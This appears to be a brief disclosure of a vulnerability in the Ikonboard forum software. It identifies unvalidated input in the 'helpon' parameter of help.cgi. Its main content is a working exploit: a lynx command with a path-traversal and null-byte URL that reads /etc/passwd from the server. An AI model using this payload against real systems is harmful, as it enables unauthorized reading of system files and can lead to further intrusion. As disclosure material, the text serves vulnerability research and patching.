Name : ikonboard Problem: $inhelpon = $query -> param('helpon'); Exploit: lynx http://www.gmc-online.de/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00 by: Martin J. Muench (muench@gmc-online.de)